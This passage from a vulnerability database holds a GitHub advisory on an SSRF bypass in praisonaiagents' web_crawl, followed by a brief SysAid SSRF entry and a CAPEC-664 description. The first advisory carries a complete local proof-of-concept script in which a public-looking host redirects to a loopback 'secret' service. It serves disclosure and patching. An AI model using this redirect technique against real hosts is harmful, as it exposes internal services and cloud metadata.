  "details": "## Summary\n\n`praisonaiagents.tools.web_crawl_tools.web_crawl()` validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses `httpx.Client(follow_redirects=True)` and does not revalidate redirect targets.\n\nAn attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by `web_crawl()`.\n\nThis appears to be an incomplete fix / patch bypass for the published `web_crawl` SSRF class (`GHSA-qq9r-63f6-v542` / `CVE-2026-40160`, and `GHSA-8f4v-xfm9-3244`).\n\n## Affected Component\n\nPackage:\n\n```text\npraisonaiagents\n```\n\nFile:\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py\n```\n\nFunctions:\n\n```text\nweb_crawl()\n_crawl_with_httpx()\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `praisonaiagents 1.5.128` via repository tag `v4.5.128`;\n- `praisonaiagents 1.6.40` via repository tag `v4.6.40`;\n- `praisonaiagents 1.6.56` via repository tag `v4.6.56`;\n- current `origin/main` commit `095653d78a01cc6c80ff5b2dd20a8e5619686ddc`.\n\nSuggested affected range for maintainer confirmation:\n\n```text\n\u003e= 1.5.128, \u003c= 1.6.56\n```\n\nNo patched version is known to me at submission time.\n\n## Root Cause\n\nCurrent `web_crawl()` validates only the initially supplied URL:\n\n- requires `http` or `https`;\n- resolves the initial hostname with `socket.gethostbyname()`;\n- rejects loopback/private/link-local/multicast/unspecified addresses unless `ALLOW_LOCAL_CRAWL=true`.\n\nThe default fetch sink then follows redirects:\n\n```python\nwith httpx.Client(follow_redirects=True, timeout=30.0) as client:\n    response = client.get(url)\n```\n\nThere is no validation of intermediate or final redirect destinations before `httpx` fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so `attacker.test` appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.\n\nRun from a checkout of the repository:\n\n```fish\nenv PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py\n```\n\nObserved output:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027content\u0027: \u0027INTERNAL-SECRET-FROM-LOOPBACK\u0027, \u0027title\u0027: \u0027\u0027, \u0027provider\u0027: \u0027httpx\u0027}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nPRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.\n\nWith the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:\n\n```text\nREDIRECT_HIT: True\nINTERNAL_HIT: False\n```\n\n## Impact\n\nIf an attacker can influence URLs passed to `web_crawl()`, directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the `web_crawl()` result.\n\nPractical impact includes:\n\n- reading loopback-only HTTP services;\n- probing private network services;\n- reading cloud metadata endpoints where reachable and not otherwise protected.\n\nThis report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.\n\n## Severity\n\n\nThis mirrors the CVSS v4.0 shape already used for the prior `web_crawl` SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.\n\n## Suggested Fix\n\n- Set `follow_redirects=False` in `_crawl_with_httpx()`, or handle redirects manually and validate each `Location` target before following it.\n- Centralize the URL validation used by server-side fetch tools.\n- Validate every resolved address using `socket.getaddrinfo()`, not only the first `gethostbyname()` result.\n- Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.\n- Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.\n\n## PoV\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.\n\nThis PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI\u0027s pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\nfrom praisonaiagents.tools.web_crawl_tools import web_crawl\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n    body = b\"INTERNAL-SECRET-FROM-LOOPBACK\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n    target = \"\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(302)\n        self.send_header(\"Location\", self.target)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef main() -\u003e int:\n    os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n    internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n    internal.hit = False  # type: ignore[attr-defined]\n    internal_port = internal.server_address[1]\n\n    RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n    redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n    redirect.hit = False  # type: ignore[attr-defined]\n    redirect_port = redirect.server_address[1]\n\n    threading.Thread(target=internal.serve_forever, daemon=True).start()\n    threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n    original_gethostbyname = socket.gethostbyname\n    original_getaddrinfo = socket.getaddrinfo\n\n    def fake_gethostbyname(host: str) -\u003e str:\n        if host == \"attacker.test\":\n            return \"93.184.216.34\"\n        return original_gethostbyname(host)\n\n    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n        if host == \"attacker.test\":\n            return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n        return original_getaddrinfo(host, port, *args, **kwargs)\n\n    socket.gethostbyname = fake_gethostbyname\n    socket.getaddrinfo = fake_getaddrinfo\n    try:\n        direct_control = web_crawl(\n            f\"http://127.0.0.1:{internal_port}/secret\",\n            provider=\"httpx\",\n        )\n        redirect_result = web_crawl(\n            f\"http://attacker.test:{redirect_port}/go\",\n            provider=\"httpx\",\n        )\n    finally:\n        socket.gethostbyname = original_gethostbyname\n        socket.getaddrinfo = original_getaddrinfo\n        redirect.shutdown()\n        internal.shutdown()\n        redirect.server_close()\n        internal.server_close()\n\n    print(\"DIRECT_CONTROL:\", direct_control)\n    print(\"REDIRECT_RESULT:\", redirect_result)\n    print(\"REDIRECT_SERVER_HIT:\", bool(redirect.hit))  # type: ignore[attr-defined]\n    print(\"INTERNAL_SERVER_HIT:\", bool(internal.hit))  # type: ignore[attr-defined]\n\n    if not isinstance(direct_control, dict) or \"No valid or safe URLs\" not in str(direct_control):\n        raise SystemExit(\"control failed: direct loopback was not blocked\")\n    if not isinstance(redirect_result, dict):\n        raise SystemExit(\"bypass failed: unexpected result type\")\n    if \"INTERNAL-SECRET-FROM-LOOPBACK\" not in str(redirect_result.get(\"content\", \"\")):\n        raise SystemExit(\"bypass failed: redirect target content was not returned\")\n    if not bool(redirect.hit) or not bool(internal.hit):  # type: ignore[attr-defined]\n        raise SystemExit(\"bypass failed: expected local servers were not hit\")\n\n    print(\"PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```",
  "id": "GHSA-8hjw-25cg-g52h",
  "modified": "2026-08-25T14:18:40Z",
  "published": "2026-08-25T14:18:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8hjw-25cg-g52h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets"
}

GHSA-8HPX-7PM4-9FX9

Vulnerability from github – Published: 2024-03-28 15:30 – Updated: 2024-03-28 15:30
VLAI
Details

SysAid before version 23.2.14 b18 - CWE-918: Server-Side Request Forgery (SSRF) may allow exposing the local OS user's NTLMv2 hash

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-27775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-28T13:15:47Z",
    "severity": "HIGH"
  },
  "details": "\nSysAid before version 23.2.14 b18 -\u00a0CWE-918: Server-Side Request Forgery (SSRF) may allow exposing the local OS user\u0027s NTLMv2 hash\n\n",
  "id": "GHSA-8hpx-7pm4-9fx9",
  "modified": "2024-03-28T15:30:32Z",
  "published": "2024-03-28T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27775"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/Departments/faq/cve_advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.